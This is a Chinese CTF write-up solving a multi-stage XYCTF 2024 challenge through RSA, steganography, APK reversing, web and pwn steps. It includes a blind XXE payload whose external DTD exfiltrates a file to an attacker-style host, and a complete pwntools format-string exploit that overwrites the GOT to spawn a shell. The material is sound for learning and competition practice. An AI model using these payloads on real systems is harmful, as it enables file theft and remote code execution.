余师傅出的五个方向合在一起的一道题,比赛中有 5 支队伍解出。摸鱼队的 Crypto 和 Misc 部分由 luoingly 师傅完成,Reverse、Web 和 Pwn 部分由我完成。Reverse 做了一天,Web 现学现卖做一晚上,Pwn 现学现卖做两天,算是我第一次做出来 Pwn 题。感谢这道题让我学会了 XXE 和 Format String(指会做这道题)。
本站上的 XYCTF 2024 (Reverse) Writeup by 摸鱼 与评价
# 第一步 Crypto
import gmpy2 as gp | |
e = 65537 | |
n = 528565534050303289402007510968179435618186732104470795324112506464649249469837867028185617 | |
dp = 487978202023750799970713551102136558437027925 | |
for x in range(1, e): | |
if(e*dp%x==1): | |
p=(e*dp-1)//x+1 | |
if(n%p!=0): | |
continue | |
q=n//p | |
phin=(p-1)*(q-1) | |
d=gp.invert(e, phin) | |
print("p = ", p) | |
print("q = ", q) |
import libnum | |
import gmpy2 | |
n1 = 60984961924036640364806324068224697071843724749390772716648370179057892113876360274026354662527777447902822720596626094363633542717821045035441273653134740082082972528467040631675108058268481211224587979227700303746708094408639881186270901498495613159595719501389800228775436242418332342165682104816100945559 | |
e1 = 718052616328316407959060891790846549694362099 | |
c1 = 14643165800600469237679161939570210679439096911755461832302138620621212724063371108183767129591712055258072458698793819383057004625557577440444773493982158481797933707633029392859049044470914532014267958303995860803871791733761877112192748951375669095992152628840179729532225161446048952172457991042916248568 | |
n2 = n1 | |
e2 = 736109753005379176045853848742061395149928683 | |
c2 = 47744166763747993083913069262560688521758241055343711330487778299969300229670028543968082464934326523754042128559756835029869433598546417098582906459369495989688837877596260888669274901459794346656919486877501825652169698125071792901224555479266468029736677586557495945618181583432146191688552560789016927665 | |
s, s1, s2 = gmpy2.gcdext(e1, e2) | |
m = (pow(c1, s1, n1)*pow(c2, s2, n2)) % n1 | |
print(libnum.n2s(int(m)).decode()) |
可以得到内容「the key of txt is XYXY1l0v3y0u and another key is 99 88 77 66」
# 第二步 Misc
使用上面的到的 key 可以解密解压 zip,可以得到一段具有 Unicode 零宽隐写的文本,其中隐写内容为「The username is WelcomeXY」,明文内容为一系列密码。enc 为一个 Base64 编码的套娃 zip,在文件尾有字符「The username is WelcomeXY」。使用密码表:
SuyunandXiao | |
ZhaoWuandSuyun | |
Shinandlingfeng | |
nydnandk0rian | |
faultandalei |
按照一定顺序作为密码层层解压套娃压缩包,最后能够得到 ezre.apk。
# 第三步 Reverse VM
ezre.apk 缺了 ZipDirEntry 和 ZipEndLocator,用 7-Zip 强制解压再重新压缩为 zip 文件,即可导入 JADX
MainActivity 是用户输入 key 和 flag,在 JNI 加密,然后气泡提示加密结果
贴一份整理符号后的反编译代码
key 是 Misc 部分得到的 99 88 77 66
复制出来,打印出执行顺序
#include <stdio.h> | |
#include "defs.h" | |
#define u32 unsigned int | |
const u32 key[] = {99, 88, 77, 66}; | |
void encrypt(u32 *input) | |
{ | |
for (int i = 1; i < 20; i += 2) | |
{ | |
u32 delta = 0; | |
for (int j = 0; j < 32; j++) | |
{ | |
u32 r = input[i]; | |
input[i - 1] += (((r << 4) ^ (r >> 5)) + r) ^ (delta + key[delta & 3]); | |
delta += 0x12345678; | |
u32 l = input[i - 1]; | |
input[i] += (((l << 4) ^ (l >> 5)) + l) ^ (delta + key[(delta >> 10) & 3]); | |
} | |
} | |
} | |
unsigned char ida_chars[] = | |
{ | |
0x0C, 0x2A, 0x54, 0x5C, 0x8B, 0xF0, 0xF8, 0xCD, 0x35, 0x4B, | |
0x17, 0x93, 0x2F, 0x73, 0x73, 0xFF, 0xEF, 0xF6, 0xF5, 0xAC, | |
0xD0, 0xBA, 0x19, 0x4D, 0xAB, 0x4B, 0xF5, 0xFD, 0x38, 0x71, | |
0xC8, 0xE1, 0x3D, 0x15, 0xC0, 0xF2, 0x84, 0x0C, 0x27, 0x7E, | |
0xD7, 0x8D, 0x07, 0x34, 0xCD, 0x33, 0x5F, 0x96, 0xEB, 0x63, | |
0x6A, 0x8D, 0xF5, 0x83, 0xFB, 0x92, 0x31, 0x46, 0xC8, 0xBB, | |
0x9A, 0x59, 0x40, 0x73, 0x2F, 0xE8, 0x38, 0xE0, 0xF9, 0x40, | |
0x66, 0x15, 0xB9, 0xC9, 0xF5, 0xEE, 0x84, 0x65, 0x2C, 0xF5, | |
0x6C, 0xC3, 0x54, 0xC3, 0xCE, 0x1D, 0x70, 0x9F}; | |
void decrypt(u32 *content) | |
{ | |
for (int i = 21; i > 0; i -= 2) | |
{ | |
u32 delta = 0x12345678 * 32; | |
for (int j = 0; j < 32; j++) | |
{ | |
u32 l = content[i - 1]; | |
content[i] -= (((l << 4) ^ (l >> 5)) + l) ^ (delta + key[(delta >> 10) & 3]); | |
delta -= 0x12345678; | |
u32 r = content[i]; | |
content[i - 1] -= (((r << 4) ^ (r >> 5)) + r) ^ (delta + key[delta & 3]); | |
} | |
} | |
} | |
int main() | |
{ | |
// char test[] = "Hello, World! Hello, World! Hello, World! Hello, World! Hello, World! Hello, World! "; | |
// encrypt((u32 *)test); | |
// decrypt((u32 *)test); | |
// printf("%s\n", test); | |
decrypt((u32 *)ida_chars); | |
for (int i = 0; i < 88; i+=4) | |
{ | |
printf("%c", ida_chars[i]); | |
} | |
return 0; | |
} | |
// https://baby.imxbt.cn/ |
# 第四步 Web XXE
无回显无报错 XXE,嵌套写三次可绕过过滤
<?xmxmxmlll version="1.0" ?> | |
<!DOCDOCDOCTYPETYPETYPE ANY [ | |
<!ENENENTITYTITYTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=hint.php"> | |
<!ENENENTITYTITYTITY % a SYSTEM "http://moyu.example.vps/test.dtd" > | |
%a;%send; | |
]> | |
<credentials> | |
<username>WelcomeXY</username> | |
<password>YXemocleW</password> | |
</credentials> |
test.dtd:
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://moyu.example.vps:4869/?p=%file;' >"> | |
%int; |
读到 hint.php 的内容:
<?php | |
defined('ACCESS') or exit('干嘛,像偷窥我?'); | |
echo "well!And now you can download the newpwn.zip in /HAHA/PWN"; | |
?> |
https://baby.imxbt.cn/HAHA/PWN/newpwn.zip
# 第五步 Pwn FmtStr
随机数只要本地校准时间然后同一秒钟设置种子就可以生成,然后进入 vuln 函数,但是正常情况下只有一次 printf 并且 payload 最多 100 字节。因为 fmtstr 需要确定的写入地址和确定的写入值,所以第一次先泄露栈地址和 libc 地址,并将.fini_array 改成 vuln 函数地址,以便再次进入 vuln 函数。第二次用 fmtstr 把 printf 的 got 表改为 system 的地址,并把返回地址改为 retn 的地址(栈 16 字节对齐),后面跟 vuln 函数的地址,以便第三次进入 vuln 函数。第三次调用 printf 实际上是调用 system,输入 /bin/sh\x00 即可 get shell。
#include <stdlib.h> | |
#include <time.h> | |
void set_seed() { | |
srand(time(NULL)); | |
srand(rand() % 5 + 114514); | |
} | |
int random_number() { | |
return rand() % 4 + 159357158; | |
} |
from pwn import * | |
import ctypes | |
context.arch = 'amd64' | |
# context.log_level = 'debug' | |
elf = ELF('./XYCTF') | |
libc = ELF('./libc.so.6') | |
io = process('./XYCTF') | |
# io = remote('xyctf.top', 47279) | |
# 随机数部分 | |
lib_rand = ctypes.CDLL('./my_random.so') | |
lib_rand.random_number.restype = ctypes.c_int | |
lib_rand.set_seed() | |
for i in range(51): | |
io.recvuntil(f'game: {i}\n'.encode()) | |
io.sendline(str(lib_rand.random_number()).encode()) | |
io.recvuntil(b'Now,plz you input:\n') | |
# # test | |
# io.sendline(b'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p') | |
# print(io.recvall()) | |
# 第一步:把.fini_array 中__do_global_dtors_aux 的地址改为 vuln 函数的地址,以便再次进入 vuln,同时泄漏 libc 地址和 vuln 函数返回地址的地址 | |
# %6$s 是 payload 自己 | |
# % p. 是格式化字符串的地址,输出了 15 个字符 | |
# %10$s. 是 libc printf 的地址,输出了 7 个字符 | |
# 总共需要 4804 个字符 | |
printf_got = elf.got['printf'] # 0x4033d8 | |
addr_of_fini_array = 0x4031c0 | |
payload = b'%p.%10$s.%4782d%9$hn....' + p64(addr_of_fini_array) + p64(printf_got) | |
payload += b'\x00' * (100 - len(payload)) | |
# print(payload.hex()) | |
io.send(payload) | |
res = io.recvuntil(b'Now,plz you input:\n') | |
addr_of_fmtstr = eval(res[:14]) | |
addr_of_printf = int.from_bytes(res[15:21], 'little') | |
addr_of_system = addr_of_printf - libc.sym['printf'] + libc.sym['system'] | |
print(hex(addr_of_fmtstr), hex(addr_of_printf)) | |
print(hex(addr_of_system)) | |
addr_of_new_fmtstr = addr_of_fmtstr - 0xB0 | |
addr_of_ret_addr = addr_of_new_fmtstr + 0x78 | |
# gdb.attach(io, 'b *0x4012c4') | |
# 第二步:我们现在有 vuln 函数返回地址的地址,把它改为 retn 的地址(栈对齐),后面跟 vuln 函数的地址,以便再次进入 vuln,同时把 printf 的 got 表改为 system 的地址 | |
payload = b'' | |
written_bytes = 0 | |
addr_of_vuln = 0x4012c4 | |
addr_of_C3 = 0x40132b | |
payload += f'%{(((addr_of_system&0xff0000)>>16)+0x100-written_bytes)&0xff}d%16$hhn'.encode() | |
written_bytes = (addr_of_system&0xff0000)>>16 | |
payload += f'%{((addr_of_system&0xffff)+0x10000-written_bytes)&0xffff}d%17$hn'.encode() | |
written_bytes = addr_of_system&0xffff | |
payload += f'%{addr_of_vuln-written_bytes}d%15$ln'.encode() | |
written_bytes = addr_of_vuln | |
payload += f'%{addr_of_C3-written_bytes}d%14$ln'.encode() | |
print(len(payload)) | |
assert len(payload) <= 64 | |
payload += b'.' * (64 - len(payload)) | |
payload += p64(addr_of_ret_addr) # 写入 retn 的地址 8 字节 | |
payload += p64(addr_of_ret_addr + 8) # 写入 vuln 的地址 8 字节 | |
payload += p64(printf_got + 2) # 写入 system 的地址低第 3 字节 | |
payload += p64(printf_got) # 写入 system 的地址低 1-2 字节 | |
payload += b'\x00' * (100 - len(payload)) | |
print(payload) | |
io.send(payload) | |
io.recvuntil(b'Now,plz you input:\n', timeout=600) | |
io.sendline(b'/bin/sh\x00') | |
io.interactive() |
🚩 XYCTF{0f1c8f3f-a2d9-4d9e-9cf4-175152030288}